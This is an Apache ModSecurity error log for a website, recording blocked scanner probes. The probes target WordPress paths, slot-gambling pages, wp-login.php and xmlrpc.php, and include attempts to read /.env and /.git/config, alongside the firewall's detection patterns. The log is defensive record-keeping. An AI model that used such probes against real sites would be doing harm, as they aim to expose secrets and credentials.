[Mon Feb 02 18:51:07.052401 2026] [:error] [pid 63153:tid 63161] [client 65.108.2.171:6296] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aYCBm3C9GXHnmLkdgdls6gAAAMA"]
[Mon Feb 02 18:51:09.659778 2026] [:error] [pid 33612:tid 33614] [client 65.108.2.171:6308] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aYCBnctFn80qQEmo5QrzngAAAQA"]
[Mon Feb 02 18:51:12.283468 2026] [:error] [pid 63034:tid 63140] [client 65.108.2.171:6314] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aYCBoOKXlgw75_wfbHrK9QAAAJY"]
[Mon Feb 02 18:51:14.861954 2026] [:error] [pid 63032:tid 63075] [client 65.108.2.171:6328] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aYCBonyEQ1PkpebvdRjRzQAAAAw"]
[Mon Feb 02 18:51:17.470118 2026] [:error] [pid 63034:tid 63122] [client 65.108.2.171:26342] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aYCBpeKXlgw75_wfbHrK9wAAAIQ"]
[Mon Feb 02 18:51:20.060391 2026] [:error] [pid 33612:tid 33615] [client 65.108.2.171:26346] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aYCBqMtFn80qQEmo5QrzrQAAAQE"]
[Mon Feb 02 18:51:22.501654 2026] [:error] [pid 56989:tid 57003] [client 65.108.2.171:26360] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aYCBqkp44HnChN-GZlj42wAAAgw"]
[Mon Feb 02 18:51:25.085768 2026] [:error] [pid 63034:tid 63139] [client 65.108.2.171:13174] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aYCBreKXlgw75_wfbHrLBAAAAJU"]
[Mon Feb 02 18:51:27.693879 2026] [:error] [pid 56989:tid 56992] [client 65.108.2.171:13226] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aYCBr0p44HnChN-GZlj44AAAAgE"]
[Mon Feb 02 18:51:30.121476 2026] [:error] [pid 63153:tid 63181] [client 65.108.2.171:13266] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aYCBsnC9GXHnmLkdgdltBQAAANQ"]
[Mon Feb 02 19:50:45.459701 2026] [:error] [pid 56989:tid 56996] [client 35.225.191.120:54824] [client 35.225.191.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.225.191.120, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aYCPlUp44HnChN-GZlgF6wAAAgU"]
[Mon Feb 02 19:50:46.330654 2026] [:error] [pid 56989:tid 57005] [client 35.225.191.120:54824] [client 35.225.191.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "aYCPlkp44HnChN-GZlgF7wAAAg4"]
[Mon Feb 02 19:50:47.155777 2026] [:error] [pid 63032:tid 63066] [client 35.225.191.120:50728] [client 35.225.191.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "aYCPl3yEQ1PkpebvdRjctgAAAAM"]
[Mon Feb 02 19:50:47.952718 2026] [:error] [pid 57081:tid 57118] [client 35.225.191.120:51404] [client 35.225.191.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "aYCPl2vouJ2Jkm6HfBg0sQAAAwM"]
[Mon Feb 02 19:50:48.761680 2026] [:error] [pid 33612:tid 33629] [client 35.225.191.120:56777] [client 35.225.191.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "aYCPmMtFn80qQEmo5Qr71wAAAQ8"]
[Mon Feb 02 19:50:49.561202 2026] [:error] [pid 57022:tid 57070] [client 35.225.191.120:58933] [client 35.225.191.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "aYCPmRnEgLMzfcurxflF3QAAApI"]
[Mon Feb 02 19:50:50.367423 2026] [:error] [pid 56989:tid 56991] [client 35.225.191.120:55218] [client 35.225.191.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "aYCPmkp44HnChN-GZlgF9wAAAgA"]
[Mon Feb 02 19:50:51.162427 2026] [:error] [pid 56989:tid 57002] [client 35.225.191.120:50072] [client 35.225.191.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "aYCPm0p44HnChN-GZlgF-QAAAgs"]
[Mon Feb 02 19:50:51.951026 2026] [:error] [pid 63153:tid 63172] [client 35.225.191.120:61137] [client 35.225.191.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aYCPm3C9GXHnmLkdgdl9wwAAAMs"]
[Mon Feb 02 19:50:52.752283 2026] [:error] [pid 63032:tid 63076] [client 35.225.191.120:60146] [client 35.225.191.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aYCPnHyEQ1PkpebvdRjcvQAAAA0"]
[Mon Feb 02 19:50:53.583912 2026] [:error] [pid 57081:tid 57118] [client 35.225.191.120:62923] [client 35.225.191.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aYCPnWvouJ2Jkm6HfBg0xAAAAwM"]
[Mon Feb 02 19:50:54.391948 2026] [:error] [pid 57080:tid 57095] [client 35.225.191.120:57103] [client 35.225.191.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aYCPno9Utn0ZlfnF10NUbgAAAsg"]
[Mon Feb 02 19:50:55.220513 2026] [:error] [pid 63032:tid 63068] [client 35.225.191.120:50573] [client 35.225.191.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aYCPn3yEQ1PkpebvdRjcwQAAAAU"]
[Mon Feb 02 19:50:56.014808 2026] [:error] [pid 57080:tid 57090] [client 35.225.191.120:50948] [client 35.225.191.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aYCPoI9Utn0ZlfnF10NUdAAAAsM"]
[Mon Feb 02 19:50:56.820937 2026] [:error] [pid 57021:tid 57028] [client 35.225.191.120:64034] [client 35.225.191.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aYCPoP7AEpx7VcmYK3H2pQAAAkM"]
[Mon Feb 02 22:43:20.392065 2026] [:error] [pid 33612:tid 33627] [client 91.202.233.79:38106] [client 91.202.233.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aYC4CMtFn80qQEmo5QoZ-wAAAQ0"]
[Mon Feb 02 23:05:30.665023 2026] [:error] [pid 63032:tid 63081] [client 34.135.158.103:50426] [client 34.135.158.103] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.135.158.103, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aYC9OnyEQ1PkpebvdRgF-gAAABI"]
[Mon Feb 02 23:05:31.118714 2026] [:error] [pid 63032:tid 63063] [client 34.135.158.103:50426] [client 34.135.158.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "aYC9O3yEQ1PkpebvdRgF_AAAAAA"]
[Mon Feb 02 23:05:32.033683 2026] [:error] [pid 57022:tid 57074] [client 34.135.158.103:61508] [client 34.135.158.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "aYC9PBnEgLMzfcurxflk7gAAApY"]
[Mon Feb 02 23:05:32.874855 2026] [:error] [pid 57022:tid 57073] [client 34.135.158.103:49536] [client 34.135.158.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "aYC9PBnEgLMzfcurxflk7wAAApU"]
[Mon Feb 02 23:05:33.732416 2026] [:error] [pid 57021:tid 57048] [client 34.135.158.103:53298] [client 34.135.158.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "aYC9Pf7AEpx7VcmYK3EXKgAAAlc"]
[Mon Feb 02 23:05:34.535677 2026] [:error] [pid 57021:tid 57044] [client 34.135.158.103:55192] [client 34.135.158.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "aYC9Pv7AEpx7VcmYK3EXLgAAAlM"]
[Mon Feb 02 23:05:35.353017 2026] [:error] [pid 63153:tid 63171] [client 34.135.158.103:64383] [client 34.135.158.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "aYC9P3C9GXHnmLkdgdm9MgAAAMo"]
[Mon Feb 02 23:05:36.152323 2026] [:error] [pid 57021:tid 57047] [client 34.135.158.103:53355] [client 34.135.158.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "aYC9QP7AEpx7VcmYK3EXNAAAAlY"]
[Mon Feb 02 23:05:36.962316 2026] [:error] [pid 56989:tid 56995] [client 34.135.158.103:60091] [client 34.135.158.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "aYC9QEp44HnChN-GZlg1NAAAAgQ"]
[Mon Feb 02 23:05:37.778777 2026] [:error] [pid 56989:tid 57013] [client 34.135.158.103:50026] [client 34.135.158.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "aYC9QUp44HnChN-GZlg1NwAAAhY"]
[Mon Feb 02 23:05:38.605324 2026] [:error] [pid 57080:tid 57099] [client 34.135.158.103:53889] [client 34.135.158.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aYC9Qo9Utn0ZlfnF10N1PQAAAsw"]
[Mon Feb 02 23:05:39.430689 2026] [:error] [pid 63034:tid 63137] [client 34.135.158.103:59900] [client 34.135.158.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aYC9Q-KXlgw75_wfbHr9DwAAAJM"]
[Mon Feb 02 23:05:40.239882 2026] [:error] [pid 63032:tid 63067] [client 34.135.158.103:60598] [client 34.135.158.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aYC9RHyEQ1PkpebvdRgGAAAAAAQ"]
[Mon Feb 02 23:05:41.051015 2026] [:error] [pid 33612:tid 33618] [client 34.135.158.103:59872] [client 34.135.158.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aYC9RctFn80qQEmo5QodgAAAAQQ"]
[Mon Feb 02 23:05:41.883405 2026] [:error] [pid 56989:tid 57010] [client 34.135.158.103:55857] [client 34.135.158.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aYC9RUp44HnChN-GZlg1RwAAAhM"]
[Mon Feb 02 23:05:42.733317 2026] [:error] [pid 63153:tid 63164] [client 34.135.158.103:58894] [client 34.135.158.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aYC9RnC9GXHnmLkdgdm9NwAAAMM"]
[Mon Feb 02 23:05:43.567297 2026] [:error] [pid 57081:tid 57128] [client 34.135.158.103:53795] [client 34.135.158.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aYC9R2vouJ2Jkm6HfBhamwAAAw0"]
[Mon Feb 02 23:30:54.672745 2026] [:error] [pid 56989:tid 56999] [client 45.141.215.153:55336] [client 45.141.215.153] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aYDDLkp44HnChN-GZlg69wAAAgg"]
[Mon Feb 02 23:30:54.763957 2026] [:error] [pid 56989:tid 57002] [client 45.141.215.153:55352] [client 45.141.215.153] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aYDDLkp44HnChN-GZlg6-AAAAgs"]
[Mon Feb 02 23:55:45.926565 2026] [:error] [pid 57080:tid 57102] [client 119.28.140.106:42808] [client 119.28.140.106] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aYDJAY9Utn0ZlfnF10N8nQAAAs8"]
[Tue Feb 03 00:23:48.890373 2026] [:error] [pid 56989:tid 56999] [client 193.36.225.78:38489] [client 193.36.225.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.78, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aYDPlEp44HnChN-GZlhFPwAAAgg"]
[Tue Feb 03 00:56:28.681882 2026] [:error] [pid 57081:tid 57123] [client 43.133.220.37:33072] [client 43.133.220.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYDXPGvouJ2Jkm6HfBhtAQAAAwg"]
[Tue Feb 03 02:23:42.909143 2026] [:error] [pid 57022:tid 57053] [client 65.108.78.33:24302] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aYDrrhnEgLMzfcurxfmAnAAAAoE"]
[Tue Feb 03 02:23:45.473789 2026] [:error] [pid 46008:tid 46032] [client 65.108.78.33:24316] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aYDrsSRa52iYn7SlSMnncQAAAVU"]
[Tue Feb 03 02:23:48.138895 2026] [:error] [pid 46008:tid 46027] [client 65.108.78.33:24318] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aYDrtCRa52iYn7SlSMnnegAAAVA"]
[Tue Feb 03 02:23:50.719421 2026] [:error] [pid 56989:tid 57007] [client 65.108.78.33:24320] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aYDrtkp44HnChN-GZlhhgwAAAhA"]
[Tue Feb 03 02:23:53.264073 2026] [:error] [pid 63032:tid 63066] [client 65.108.78.33:54110] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aYDruXyEQ1PkpebvdRgqIAAAAAM"]
